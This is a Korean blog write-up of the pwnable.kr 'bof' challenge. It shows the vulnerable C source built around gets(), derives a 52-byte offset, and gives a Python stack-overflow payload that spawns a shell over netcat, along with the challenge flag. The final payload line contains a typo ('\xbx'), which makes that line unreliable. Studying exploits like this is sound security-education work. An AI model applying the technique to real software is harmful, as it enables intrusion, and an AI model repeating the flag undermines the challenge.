ii4gsp

Pwnable.kr - bof 본문

시스템 해킹/pwnable.kr

Pwnable.kr - bof

ii4gsp 2020. 2. 4. 13:15

파일 두개를 모두 다운받아 분석해보자

 

 

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

gets()함수에서 받는 데이터의 크기를  제한하지지 않고 문자를 입력받아 취약점이 발견하는걸 알수있다.

버퍼 오버플로우를 발생시켜 키값을 0xcafebabe로 해주면 문제가 풀릴것이다.

 

 

 

<func+29> overflowme는 ebp-[0x2c]로부터 0x2c만큼 떨어져 있는 것을 알 수 있다.

<func+40>의 위치를 통해서 key는 ebp+[0x8]로부터 0x8만큼 떨어져 있는 것을 알 수 있다.

ebp-[0x2c] ~ ebp+[0x8]의 거리를 구하면 0x34만큼 차이가난다.

 

 

 

0x2c + 0x8 = 0x34만큼의 공간을 채우고 0xcafebabe를 덮어씌우면 된다.

0xcafebabe는 리틀 엔디언 방식으로 \xbe\xba\xfe\xca로 넣어줘야한다.

따라서 payload는 (python -c 'print "\x90" * 52 + "\xbe\xba\xfe\xca"')이 된다.

 

 

 

Flag: daddy, I just pwned a buFFer :)

 

payload

(python -c 'print "\x90" * 52 + "\xbx\xba\xfe\xca"';cat) | nc pwnable.kr 9000

'시스템 해킹 > pwnable.kr' 카테고리의 다른 글

Pwnable.kr - random  (0) 2020.02.04
Pwnable.kr - passcode  (0) 2020.02.04
Pwnable.kr - flag  (0) 2020.02.04
Pwnable.kr - collision  (0) 2020.02.04
Pwnable.kr - fd  (0) 2020.02.04
Comments